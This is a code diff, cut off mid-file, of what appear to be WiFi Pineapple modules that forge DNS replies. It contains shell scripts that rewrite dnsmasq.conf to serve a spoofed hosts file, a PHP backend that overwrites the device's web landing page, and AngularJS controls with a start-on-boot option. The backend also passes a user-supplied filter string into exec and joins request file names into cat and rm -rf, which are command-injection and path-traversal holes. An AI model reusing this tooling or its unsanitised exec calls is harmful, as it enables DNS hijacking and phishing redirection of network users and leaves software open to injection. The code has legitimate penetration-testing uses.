<div class="panel panel-default" ng-controller="DNSMasqSpoof_ControlsController">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">Controls</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<table style="width:100%">
|
||||
<tr>
|
||||
<td style="padding-bottom: .5em;" class="text-muted">Dependencies</td>
|
||||
<td ng-hide="$root.status.installed" style="text-align:right;padding-bottom: .5em;"><button type="button" style="width: 90px;" class="btn btn-{{installLabel}} btn-xs" data-toggle="modal" data-target="#dependenciesInstallModal" ng-disabled="processing">{{install}}</button></td>
|
||||
<td ng-show="$root.status.installed" style="text-align:right;padding-bottom: .5em;"><button type="button" style="width: 90px;" class="btn btn-{{installLabel}} btn-xs" data-toggle="modal" data-target="#dependenciesRemoveModal" ng-disabled="processing">{{install}}</button></td>
|
||||
</tr>
|
||||
<tr class="form-inline" ng-show="$root.status.installed">
|
||||
<td style="padding-bottom: .5em;" class="text-muted">DNSMasq Spoof</td>
|
||||
<td style="text-align:right;padding-bottom: .5em;">
|
||||
<button type="button" style="width: 90px;" class="btn btn-{{statusLabel}} btn-xs" ng-disabled="starting" ng-click="toggleDNSMasqSpoof()">{{status}}</button>
|
||||
</td>
|
||||
</tr>
|
||||
<tr ng-show="$root.status.installed">
|
||||
<td style="padding-bottom: .5em;" class="text-muted">Start on boot</td>
|
||||
<td style="text-align:right;padding-bottom: .5em;">
|
||||
<div class="btn-group">
|
||||
<button ng-click="toggleDNSMasqSpoofOnBoot()" class="btn btn-xs btn-{{bootLabelON}}">ON</button>
|
||||
<button ng-click="toggleDNSMasqSpoofOnBoot()" class="btn btn-xs btn-{{bootLabelOFF}}">OFF</button>
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="modal fade" id="dependenciesInstallModal" tabindex="-1" role="dialog" aria-labelledby="dependenciesModalLabel">
|
||||
<div class="modal-dialog" role="document">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||
<h4 class="modal-title" id="dependenciesInstallModalLabel">Install dependencies</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
All required dependencies have to be installed first. This may take a few minutes.<br /><br />
|
||||
Please wait, do not leave or refresh this page. Once the install is complete, this page will refresh automatically.
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn btn-info" ng-click="handleDependencies('internal')" data-dismiss="modal">Internal</button>
|
||||
<button type="button" class="btn btn-info" ng-hide="device == 'tetra' || sdAvailable == false" ng-click="handleDependencies('sd')" data-dismiss="modal">SD Card</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="modal fade" id="dependenciesRemoveModal" tabindex="-1" role="dialog" aria-labelledby="dependenciesModalLabel">
|
||||
<div class="modal-dialog" role="document">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||
<h4 class="modal-title" id="dependenciesRemoveModalLabel">Remove dependencies</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
All required dependencies will be removed. This may take a few minutes.<br /><br />
|
||||
Please wait, do not leave or refresh this page. Once the remove is complete, this page will refresh automatically.
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
|
||||
<button type="button" class="btn btn-info" ng-click="handleDependencies()" data-dismiss="modal">Confirm</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel panel-default" ng-show="$root.status.installed" ng-controller="DNSMasqSpoof_HostsController">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#Hosts">
|
||||
<h4 class="panel-title">Hosts</h4>
|
||||
</div>
|
||||
<div id="Hosts" class="panel-collapse collapse">
|
||||
<div class="panel-body">
|
||||
<button type="submit" class="btn btn-{{saveConfigurationLabel}} btn-sm pull-right" ng-disabled="saving" ng-click="saveConfigurationData()">{{saveConfiguration}}</button><div class="clearfix"></div>
|
||||
<form class="form-horizontal">
|
||||
<textarea class="form-control" rows="20" ng-model="configurationData"></textarea>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel panel-default" ng-show="$root.status.installed" ng-controller="DNSMasqSpoof_LandingPageController">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#LandingPage">
|
||||
<h4 class="panel-title">Landing Page</h4>
|
||||
</div>
|
||||
<div id="LandingPage" class="panel-collapse collapse">
|
||||
<div class="panel-body">
|
||||
<button type="submit" class="btn btn-{{saveConfigurationLabel}} btn-sm pull-right" ng-disabled="saving" ng-click="saveConfigurationData()">{{saveConfiguration}}</button><div class="clearfix"></div>
|
||||
<form class="form-horizontal">
|
||||
<textarea class="form-control" rows="20" ng-model="configurationData"></textarea>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel panel-default" ng-show="$root.status.installed" ng-controller="DNSMasqSpoof_OutputController">
|
||||
<div class="panel-heading">
|
||||
<h4 class="panel-title pull-left">Output</h4>
|
||||
<div class="pull-right">
|
||||
Auto-refresh <div class="btn-group">
|
||||
<button ng-click="toggleAutoRefresh()" class="btn btn-xs btn-{{refreshLabelON}}">ON</button>
|
||||
<button ng-click="toggleAutoRefresh()" class="btn btn-xs btn-{{refreshLabelOFF}}">OFF</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="clearfix"></div>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<div class="input-group pull-right">
|
||||
<button class="btn btn-primary btn-sm" ng-click="refreshOutput()">Refresh Log</button>
|
||||
</div>
|
||||
<div class="clearfix"></div>
|
||||
<pre class="scrollable-pre log-pre">{{output}}</pre>
|
||||
</div>
|
||||
</div>
|
|
@ -0,0 +1,10 @@
|
|||
{
|
||||
"author": "Whistle Master",
|
||||
"description": "Forge replies to arbitrary DNS queries using DNSMasq",
|
||||
"devices": [
|
||||
"nano",
|
||||
"tetra"
|
||||
],
|
||||
"title": "DNSMasq Spoof",
|
||||
"version": "1.0"
|
||||
}
|
|
@ -0,0 +1,16 @@
|
|||
#!/bin/sh
|
||||
#2015 - Whistle Master
|
||||
|
||||
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/sd/lib:/sd/usr/lib
|
||||
export PATH=$PATH:/sd/usr/bin:/sd/usr/sbin
|
||||
|
||||
if grep addn-hosts /etc/dnsmasq.conf &> /dev/null; then
|
||||
/etc/init.d/dnsmasq stop && /etc/init.d/dnsmasq start
|
||||
else
|
||||
echo "no-dhcp-interface=" >> /etc/dnsmasq.conf
|
||||
echo "server=8.8.8.8" >> /etc/dnsmasq.conf
|
||||
echo "no-hosts" >> /etc/dnsmasq.conf
|
||||
echo "addn-hosts=/pineapple/modules/DNSMasqSpoof/hosts/dnsmasq.hosts" >> /etc/dnsmasq.conf
|
||||
|
||||
/etc/init.d/dnsmasq stop && /etc/init.d/dnsmasq start
|
||||
fi
|
|
@ -0,0 +1,30 @@
|
|||
#!/bin/sh
|
||||
#2015 - Whistle Master
|
||||
|
||||
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/sd/lib:/sd/usr/lib
|
||||
export PATH=$PATH:/sd/usr/bin:/sd/usr/sbin
|
||||
|
||||
[[ -f /tmp/DNSMasqSpoof.progress ]] && {
|
||||
exit 0
|
||||
}
|
||||
|
||||
touch /tmp/DNSMasqSpoof.progress
|
||||
|
||||
if [ "$1" = "install" ]; then
|
||||
if [ "$2" = "internal" ]; then
|
||||
echo '' > /dev/null
|
||||
elif [ "$2" = "sd" ]; then
|
||||
echo '' > /dev/null
|
||||
fi
|
||||
|
||||
touch /etc/config/dnsmasqspoof
|
||||
echo "config dnsmasqspoof 'module'" > /etc/config/dnsmasqspoof
|
||||
|
||||
uci set dnsmasqspoof.module.installed=1
|
||||
uci commit dnsmasqspoof.module.installed
|
||||
|
||||
elif [ "$1" = "remove" ]; then
|
||||
rm -rf /etc/config/dnsmasqspoof
|
||||
fi
|
||||
|
||||
rm /tmp/DNSMasqSpoof.progress
|
|
@ -0,0 +1,21 @@
|
|||
#!/bin/sh
|
||||
#2015 - Whistle Master
|
||||
|
||||
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/sd/lib:/sd/usr/lib
|
||||
export PATH=$PATH:/sd/usr/bin:/sd/usr/sbin
|
||||
|
||||
if [ "$1" = "start" ]; then
|
||||
echo "no-dhcp-interface=" >> /etc/dnsmasq.conf
|
||||
echo "server=8.8.8.8" >> /etc/dnsmasq.conf
|
||||
echo "no-hosts" >> /etc/dnsmasq.conf
|
||||
echo "addn-hosts=/pineapple/modules/DNSMasqSpoof/hosts/dnsmasq.hosts" >> /etc/dnsmasq.conf
|
||||
|
||||
/etc/init.d/dnsmasq stop && /etc/init.d/dnsmasq start
|
||||
elif [ "$1" = "stop" ]; then
|
||||
sed -i '/no-dhcp-interface=/d' /etc/dnsmasq.conf
|
||||
sed -i '/server=8.8.8.8/d' /etc/dnsmasq.conf
|
||||
sed -i '/no-hosts/d' /etc/dnsmasq.conf
|
||||
sed -i '/addn-hosts=\/pineapple\/modules\/DNSMasqSpoof\/hosts\/dnsmasq.hosts/d' /etc/dnsmasq.conf
|
||||
|
||||
/etc/init.d/dnsmasq stop && /etc/init.d/dnsmasq start
|
||||
fi
|
|
@ -0,0 +1,334 @@
|
|||
<?php namespace pineapple;
|
||||
putenv('LD_LIBRARY_PATH='.getenv('LD_LIBRARY_PATH').':/sd/lib:/sd/usr/lib');
|
||||
putenv('PATH='.getenv('PATH').':/sd/usr/bin:/sd/usr/sbin');
|
||||
|
||||
class DNSspoof extends Module
|
||||
{
|
||||
public function route()
|
||||
{
|
||||
switch ($this->request->action) {
|
||||
case 'refreshInfo':
|
||||
$this->refreshInfo();
|
||||
break;
|
||||
case 'refreshOutput':
|
||||
$this->refreshOutput();
|
||||
break;
|
||||
case 'refreshStatus':
|
||||
$this->refreshStatus();
|
||||
break;
|
||||
case 'toggleDNSspoof':
|
||||
$this->toggleDNSspoof();
|
||||
break;
|
||||
case 'handleDependencies':
|
||||
$this->handleDependencies();
|
||||
break;
|
||||
case 'handleDependenciesStatus':
|
||||
$this->handleDependenciesStatus();
|
||||
break;
|
||||
case 'refreshHistory':
|
||||
$this->refreshHistory();
|
||||
break;
|
||||
case 'viewHistory':
|
||||
$this->viewHistory();
|
||||
break;
|
||||
case 'deleteHistory':
|
||||
$this->deleteHistory();
|
||||
break;
|
||||
case 'downloadHistory':
|
||||
$this->downloadHistory();
|
||||
break;
|
||||
case 'toggleDNSspoofOnBoot':
|
||||
$this->toggleDNSspoofOnBoot();
|
||||
break;
|
||||
case 'getInterfaces':
|
||||
$this->getInterfaces();
|
||||
break;
|
||||
case 'saveAutostartSettings':
|
||||
$this->saveAutostartSettings();
|
||||
break;
|
||||
case 'saveLandingPageData':
|
||||
$this->saveLandingPageData();
|
||||
break;
|
||||
case 'getLandingPageData':
|
||||
$this->getLandingPageData();
|
||||
break;
|
||||
case 'saveHostsData':
|
||||
$this->saveHostsData();
|
||||
break;
|
||||
case 'getHostsData':
|
||||
$this->getHostsData();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
protected function checkDependency($dependencyName)
|
||||
{
|
||||
return ((exec("which {$dependencyName}") == '' ? false : true) && ($this->uciGet("dnsspoof.module.installed")));
|
||||
}
|
||||
|
||||
protected function getDevice()
|
||||
{
|
||||
return trim(exec("cat /proc/cpuinfo | grep machine | awk -F: '{print $2}'"));
|
||||
}
|
||||
|
||||
protected function refreshInfo()
|
||||
{
|
||||
$moduleInfo = @json_decode(file_get_contents("/pineapple/modules/DNSspoof/module.info"));
|
||||
$this->response = array('title' => $moduleInfo->title, 'version' => $moduleInfo->version);
|
||||
}
|
||||
|
||||
private function handleDependencies()
|
||||
{
|
||||
if(!$this->checkDependency("dnsspoof"))
|
||||
{
|
||||
$this->execBackground("/pineapple/modules/DNSspoof/scripts/dependencies.sh install ".$this->request->destination);
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->execBackground("/pineapple/modules/DNSspoof/scripts/dependencies.sh remove");
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
}
|
||||
|
||||
private function handleDependenciesStatus()
|
||||
{
|
||||
if (!file_exists('/tmp/DNSspoof.progress'))
|
||||
{
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->response = array('success' => false);
|
||||
}
|
||||
}
|
||||
|
||||
private function toggleDNSspoofOnBoot()
|
||||
{
|
||||
if(exec("cat /etc/rc.local | grep DNSspoof/scripts/autostart_dnsspoof.sh") == "")
|
||||
{
|
||||
exec("sed -i '/exit 0/d' /etc/rc.local");
|
||||
exec("echo /pineapple/modules/DNSspoof/scripts/autostart_dnsspoof.sh >> /etc/rc.local");
|
||||
exec("echo exit 0 >> /etc/rc.local");
|
||||
}
|
||||
else
|
||||
{
|
||||
exec("sed -i '/DNSspoof\/scripts\/autostart_dnsspoof.sh/d' /etc/rc.local");
|
||||
}
|
||||
}
|
||||
|
||||
private function toggleDNSspoof()
|
||||
{
|
||||
if(!$this->checkRunning("dnsspoof"))
|
||||
{
|
||||
$this->uciSet("dnsspoof.run.interface", $this->request->interface);
|
||||
|
||||
$this->execBackground("/pineapple/modules/DNSspoof/scripts/dnsspoof.sh start");
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->uciSet("dnsspoof.run.interface", '');
|
||||
|
||||
$this->execBackground("/pineapple/modules/DNSspoof/scripts/dnsspoof.sh stop");
|
||||
}
|
||||
}
|
||||
|
||||
private function getInterfaces()
|
||||
{
|
||||
exec("cat /proc/net/dev | tail -n +3 | cut -f1 -d: | sed 's/ //g'", $interfaceArray);
|
||||
|
||||
$this->response = array("interfaces" => $interfaceArray, "selected" => $this->uciGet("dnsspoof.run.interface"));
|
||||
}
|
||||
|
||||
private function refreshStatus()
|
||||
{
|
||||
if (!file_exists('/tmp/DNSspoof.progress'))
|
||||
{
|
||||
if (!$this->checkDependency("dnsspoof"))
|
||||
{
|
||||
$installed = false;
|
||||
$install = "Not installed";
|
||||
$installLabel = "danger";
|
||||
$processing = false;
|
||||
|
||||
$status = "Start";
|
||||
$statusLabel = "success";
|
||||
|
||||
$bootLabelON = "default";
|
||||
$bootLabelOFF = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$installed = true;
|
||||
$install = "Installed";
|
||||
$installLabel = "success";
|
||||
$processing = false;
|
||||
|
||||
if($this->checkRunning("dnsspoof"))
|
||||
{
|
||||
$status = "Stop";
|
||||
$statusLabel = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$status = "Start";
|
||||
$statusLabel = "success";
|
||||
}
|
||||
|
||||
if(exec("cat /etc/rc.local | grep DNSspoof/scripts/autostart_dnsspoof.sh") == "")
|
||||
{
|
||||
$bootLabelON = "default";
|
||||
$bootLabelOFF = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$bootLabelON = "success";
|
||||
$bootLabelOFF = "default";
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$installed = false;
|
||||
$install = "Installing...";
|
||||
$installLabel = "warning";
|
||||
$processing = true;
|
||||
|
||||
$status = "Not running";
|
||||
$statusLabel = "danger";
|
||||
|
||||
$bootLabelON = "default";
|
||||
$bootLabelOFF = "danger";
|
||||
}
|
||||
|
||||
$device = $this->getDevice();
|
||||
$sdAvailable = $this->isSDAvailable();
|
||||
|
||||
$this->response = array("device" => $device, "sdAvailable" => $sdAvailable, "status" => $status, "statusLabel" => $statusLabel, "installed" => $installed, "install" => $install, "installLabel" => $installLabel, "bootLabelON" => $bootLabelON, "bootLabelOFF" => $bootLabelOFF, "processing" => $processing);
|
||||
}
|
||||
|
||||
private function refreshOutput()
|
||||
{
|
||||
if ($this->checkDependency("dnsspoof"))
|
||||
{
|
||||
if ($this->checkRunning("dnsspoof"))
|
||||
{
|
||||
$path = "/pineapple/modules/DNSspoof/log";
|
||||
|
||||
$latest_ctime = 0;
|
||||
$latest_filename = '';
|
||||
|
||||
$d = dir($path);
|
||||
while (false !== ($entry = $d->read())) {
|
||||
$filepath = "{$path}/{$entry}";
|
||||
if (is_file($filepath) && filectime($filepath) > $latest_ctime) {
|
||||
$latest_ctime = filectime($filepath);
|
||||
$latest_filename = $entry;
|
||||
}
|
||||
}
|
||||
|
||||
if($latest_filename != "")
|
||||
{
|
||||
$log_date = gmdate("F d Y H:i:s", filemtime("/pineapple/modules/DNSspoof/log/".$latest_filename));
|
||||
|
||||
if ($this->request->filter != "")
|
||||
{
|
||||
$filter = $this->request->filter;
|
||||
|
||||
$cmd = "cat /pineapple/modules/DNSspoof/log/".$latest_filename." | ".$filter;
|
||||
}
|
||||
else
|
||||
{
|
||||
$cmd = "cat /pineapple/modules/DNSspoof/log/".$latest_filename;
|
||||
}
|
||||
|
||||
exec ($cmd, $output);
|
||||
if(!empty($output))
|
||||
$this->response = implode("\n", array_reverse($output));
|
||||
else
|
||||
$this->response = "Empty log...";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->response = "DNSspoof is not running...";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->response = "DNSspoof is not installed...";
|
||||
}
|
||||
}
|
||||
|
||||
private function refreshHistory()
|
||||
{
|
||||
$this->streamFunction = function () {
|
||||
$log_list = array_reverse(glob("/pineapple/modules/DNSspoof/log/*"));
|
||||
|
||||
echo '[';
|
||||
for($i=0;$i<count($log_list);$i++)
|
||||
{
|
||||
$info = explode("_", basename($log_list[$i]));
|
||||
$entryDate = gmdate('Y-m-d H-i-s', $info[1]);
|
||||
$entryName = basename($log_list[$i]);
|
||||
|
||||
echo json_encode(array($entryDate, $entryName));
|
||||
|
||||
if($i!=count($log_list)-1) echo ',';
|
||||
}
|
||||
echo ']';
|
||||
};
|
||||
}
|
||||
|
||||
private function viewHistory()
|
||||
{
|
||||
$log_date = gmdate("F d Y H:i:s", filemtime("/pineapple/modules/DNSspoof/log/".$this->request->file));
|
||||
exec ("cat /pineapple/modules/DNSspoof/log/".$this->request->file, $output);
|
||||
|
||||
if(!empty($output))
|
||||
$this->response = array("output" => implode("\n", $output), "date" => $log_date);
|
||||
else
|
||||
$this->response = array("output" => "Empty log...", "date" => $log_date);
|
||||
}
|
||||
|
||||
private function deleteHistory()
|
||||
{
|
||||
exec("rm -rf /pineapple/modules/DNSspoof/log/".$this->request->file);
|
||||
}
|
||||
|
||||
private function downloadHistory()
|
||||
{
|
||||
$this->response = array("download" => $this->downloadFile("/pineapple/modules/DNSspoof/log/".$this->request->file));
|
||||
}
|
||||
|
||||
private function saveAutostartSettings()
|
||||
{
|
||||
$settings = $this->request->settings;
|
||||
$this->uciSet("dnsspoof.autostart.interface", $settings->interface);
|
||||
}
|
||||
|
||||
private function saveLandingPageData()
|
||||
{
|
||||
$filename = '/www/index.php';
|
||||
file_put_contents($filename, $this->request->configurationData);
|
||||
}
|
||||
|
||||
private function getLandingPageData()
|
||||
{
|
||||
$configurationData = file_get_contents('/www/index.php');
|
||||
$this->response = array("configurationData" => $configurationData);
|
||||
}
|
||||
|
||||
private function saveHostsData()
|
||||
{
|
||||
$filename = '/etc/pineapple/spoofhost';
|
||||
file_put_contents($filename, $this->request->configurationData);
|
||||
}
|
||||
|
||||
private function getHostsData()
|
||||
{
|
||||
$configurationData = file_get_contents('/etc/pineapple/spoofhost');
|
||||
$this->response = array("configurationData" => $configurationData);
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,358 @@
|
|||
registerController('DNSspoof_Controller', ['$api', '$scope', '$rootScope', '$interval', '$timeout', function($api, $scope, $rootScope, $interval, $timeout) {
|
||||
$scope.title = "Loading...";
|
||||
$scope.version = "Loading...";
|
||||
|
||||
$scope.refreshInfo = (function() {
|
||||
$api.request({
|
||||
module: 'DNSspoof',
|
||||
action: "refreshInfo"
|
||||
}, function(response) {
|
||||
$scope.title = response.title;
|
||||
$scope.version = "v"+response.version;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.refreshInfo();
|
||||
|
||||
}]);
|
||||
|
||||
registerController('DNSspoof_ControlsController', ['$api', '$scope', '$rootScope', '$interval', '$timeout', function($api, $scope, $rootScope, $interval, $timeout) {
|
||||
$scope.status = "Loading...";
|
||||
$scope.statusLabel = "default";
|
||||
$scope.starting = false;
|
||||
|
||||
$scope.install = "Loading...";
|
||||
$scope.installLabel = "default";
|
||||
$scope.processing = false;
|
||||
|
||||
$scope.bootLabelON = "default";
|
||||
$scope.bootLabelOFF = "default";
|
||||
|
||||
$scope.interfaces = [];
|
||||
$scope.selectedInterface = "";
|
||||
|
||||
$scope.saveSettingsLabel = "default";
|
||||
|
||||
$scope.device = '';
|
||||
$scope.sdAvailable = false;
|
||||
|
||||
$rootScope.status = {
|
||||
installed : false,
|
||||
refreshOutput : false,
|
||||
refreshHistory : false
|
||||
};
|
||||
|
||||
$scope.refreshStatus = (function() {
|
||||
$api.request({
|
||||
module: "DNSspoof",
|
||||
action: "refreshStatus"
|
||||
}, function(response) {
|
||||
$scope.status = response.status;
|
||||
$scope.statusLabel = response.statusLabel;
|
||||
|
||||
$rootScope.status.installed = response.installed;
|
||||
$scope.device = response.device;
|
||||
$scope.sdAvailable = response.sdAvailable;
|
||||
if(response.processing) $scope.processing = true;
|
||||
$scope.install = response.install;
|
||||
$scope.installLabel = response.installLabel;
|
||||
|
||||
$scope.bootLabelON = response.bootLabelON;
|
||||
$scope.bootLabelOFF = response.bootLabelOFF;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.toggleDNSspoof = (function() {
|
||||
if($scope.status != "Stop")
|
||||
$scope.status = "Starting...";
|
||||
else
|
||||
$scope.status = "Stopping...";
|
||||
|
||||
$scope.statusLabel = "warning";
|
||||
$scope.starting = true;
|
||||
|
||||
$rootScope.status.refreshOutput = false;
|
||||
$rootScope.status.refreshHistory = false;
|
||||
|
||||
$api.request({
|
||||
module: 'DNSspoof',
|
||||
action: 'toggleDNSspoof',
|
||||
interface: $scope.selectedInterface
|
||||
}, function(response) {
|
||||
$timeout(function(){
|
||||
$rootScope.status.refreshOutput = true;
|
||||
$rootScope.status.refreshHistory = true;
|
||||
|
||||
$scope.starting = false;
|
||||
$scope.refreshStatus();
|
||||
}, 2000);
|
||||
})
|
||||
});
|
||||
|
||||
$scope.saveAutostartSettings = (function() {
|
||||
$api.request({
|
||||
module: 'DNSspoof',
|
||||
action: 'saveAutostartSettings',
|
||||
settings: { interface : $scope.selectedInterface }
|
||||
}, function(response) {
|
||||
$scope.saveSettingsLabel = "success";
|
||||
$timeout(function(){
|
||||
$scope.saveSettingsLabel = "default";
|
||||
}, 2000);
|
||||
})
|
||||
});
|
||||
|
||||
|
||||
$scope.toggleDNSspoofOnBoot = (function() {
|
||||
if($scope.bootLabelON == "default")
|
||||
{
|
||||
$scope.bootLabelON = "success";
|
||||
$scope.bootLabelOFF = "default";
|
||||
}
|
||||
else
|
||||
{
|
||||
$scope.bootLabelON = "default";
|
||||
$scope.bootLabelOFF = "danger";
|
||||
}
|
||||
|
||||
$api.request({
|
||||
module: 'DNSspoof',
|
||||
action: 'toggleDNSspoofOnBoot',
|
||||
}, function(response) {
|
||||
$scope.refreshStatus();
|
||||
})
|
||||
});
|
||||
|
||||
$scope.handleDependencies = (function(param) {
|
||||
if(!$rootScope.status.installed)
|
||||
$scope.install = "Installing...";
|
||||
else
|
||||
$scope.install = "Removing...";
|
||||
|
||||
$api.request({
|
||||
module: 'DNSspoof',
|
||||
action: 'handleDependencies',
|
||||
destination: param
|
||||
}, function(response){
|
||||
if (response.success === true) {
|
||||
$scope.installLabel = "warning";
|
||||
$scope.processing = true;
|
||||
|
||||
$scope.handleDependenciesInterval = $interval(function(){
|
||||
$api.request({
|
||||
module: 'DNSspoof',
|
||||
action: 'handleDependenciesStatus'
|
||||
}, function(response) {
|
||||
if (response.success === true){
|
||||
$scope.processing = false;
|
||||
$interval.cancel($scope.handleDependenciesInterval);
|
||||
$scope.refreshStatus();
|
||||
}
|
||||
});
|
||||
}, 5000);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getInterfaces = (function() {
|
||||
$api.request({
|
||||
module: 'DNSspoof',
|
||||
action: 'getInterfaces'
|
||||
}, function(response) {
|
||||
$scope.interfaces = response.interfaces;
|
||||
if(response.selected != "")
|
||||
$scope.selectedInterface = response.selected;
|
||||
else
|
||||
$scope.selectedInterface = $scope.interfaces[0];
|
||||
});
|
||||
});
|
||||
|
||||
$scope.refreshStatus();
|
||||
$scope.getInterfaces();
|
||||
}]);
|
||||
|
||||
registerController('DNSspoof_OutputController', ['$api', '$scope', '$rootScope', '$interval', function($api, $scope, $rootScope,$interval) {
|
||||
$scope.output = 'Loading...';
|
||||
$scope.filter = '';
|
||||
|
||||
$scope.refreshLabelON = "default";
|
||||
$scope.refreshLabelOFF = "danger";
|
||||
|
||||
$scope.refreshOutput = (function() {
|
||||
$api.request({
|
||||
module: "DNSspoof",
|
||||
action: "refreshOutput",
|
||||
filter: $scope.filter
|
||||
}, function(response) {
|
||||
$scope.output = response;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.clearFilter = (function() {
|
||||
$scope.filter = '';
|
||||
$scope.refreshOutput();
|
||||
});
|
||||
|
||||
$scope.toggleAutoRefresh = (function() {
|
||||
if($scope.autoRefreshInterval)
|
||||
{
|
||||
$interval.cancel($scope.autoRefreshInterval);
|
||||
$scope.autoRefreshInterval = null;
|
||||
$scope.refreshLabelON = "default";
|
||||
$scope.refreshLabelOFF = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$scope.refreshLabelON = "success";
|
||||
$scope.refreshLabelOFF = "default";
|
||||
|
||||
$scope.autoRefreshInterval = $interval(function(){
|
||||
$scope.refreshOutput();
|
||||
}, 5000);
|
||||
}
|
||||
});
|
||||
|
||||
$scope.refreshOutput();
|
||||
|
||||
$rootScope.$watch('status.refreshOutput', function(param) {
|
||||
if(param) {
|
||||
$scope.refreshOutput();
|
||||
}
|
||||
});
|
||||
|
||||
}]);
|
||||
|
||||
registerController('DNSspoof_HistoryController', ['$api', '$scope', '$rootScope', function($api, $scope, $rootScope) {
|
||||
$scope.history = [];
|
||||
$scope.historyOutput = 'Loading...';
|
||||
$scope.historyDate = 'Loading...';
|
||||
|
||||
$scope.refreshHistory = (function() {
|
||||
$api.request({
|
||||
module: "DNSspoof",
|
||||
action: "refreshHistory"
|
||||
}, function(response) {
|
||||
$scope.history = response;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.viewHistory = (function(param) {
|
||||
$api.request({
|
||||
module: "DNSspoof",
|
||||
action: "viewHistory",
|
||||
file: param
|
||||
}, function(response) {
|
||||
$scope.historyOutput = response.output;
|
||||
$scope.historyDate = response.date;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.deleteHistory = (function(param) {
|
||||
$api.request({
|
||||
module: "DNSspoof",
|
||||
action: "deleteHistory",
|
||||
file: param
|
||||
}, function(response) {
|
||||
$scope.refreshHistory();
|
||||
})
|
||||
});
|
||||
|
||||
$scope.downloadHistory = (function(param) {
|
||||
$api.request({
|
||||
module: 'DNSspoof',
|
||||
action: 'downloadHistory',
|
||||
file: param
|
||||
}, function(response) {
|
||||
if (response.error === undefined) {
|
||||
window.location = '/api/?download=' + response.download;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.refreshHistory();
|
||||
|
||||
$rootScope.$watch('status.refreshHistory', function(param) {
|
||||
if(param) {
|
||||
$scope.refreshHistory();
|
||||
}
|
||||
});
|
||||
|
||||
}]);
|
||||
|
||||
registerController('DNSspoof_HostsController', ['$api', '$scope', '$timeout', function($api, $scope, $timeout) {
|
||||
$scope.configurationData = '';
|
||||
$scope.saveConfigurationLabel = "primary";
|
||||
$scope.saveConfiguration = "Save";
|
||||
$scope.saving = false;
|
||||
|
||||
$scope.saveConfigurationData = (function() {
|
||||
$scope.saveConfigurationLabel = "warning";
|
||||
$scope.saveConfiguration = "Saving...";
|
||||
$scope.saving = true;
|
||||
|
||||
$api.request({
|
||||
module: 'DNSspoof',
|
||||
action: 'saveHostsData',
|
||||
configurationData: $scope.configurationData
|
||||
}, function(response) {
|
||||
$scope.saveConfigurationLabel = "success";
|
||||
$scope.saveConfiguration = "Saved";
|
||||
|
||||
$timeout(function(){
|
||||
$scope.saveConfigurationLabel = "primary";
|
||||
$scope.saveConfiguration = "Save";
|
||||
$scope.saving = false;
|
||||
}, 2000);
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getConfigurationData = (function() {
|
||||
$api.request({
|
||||
module: 'DNSspoof',
|
||||
action: 'getHostsData'
|
||||
}, function(response) {
|
||||
$scope.configurationData = response.configurationData;
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getConfigurationData();
|
||||
}]);
|
||||
|
||||
registerController('DNSspoof_LandingPageController', ['$api', '$scope', '$timeout', function($api, $scope, $timeout) {
|
||||
$scope.configurationData = '';
|
||||
$scope.saveConfigurationLabel = "primary";
|
||||
$scope.saveConfiguration = "Save";
|
||||
$scope.saving = false;
|
||||
|
||||
$scope.saveConfigurationData = (function() {
|
||||
$scope.saveConfigurationLabel = "warning";
|
||||
$scope.saveConfiguration = "Saving...";
|
||||
$scope.saving = true;
|
||||
|
||||
$api.request({
|
||||
module: 'DNSspoof',
|
||||
action: 'saveLandingPageData',
|
||||
configurationData: $scope.configurationData
|
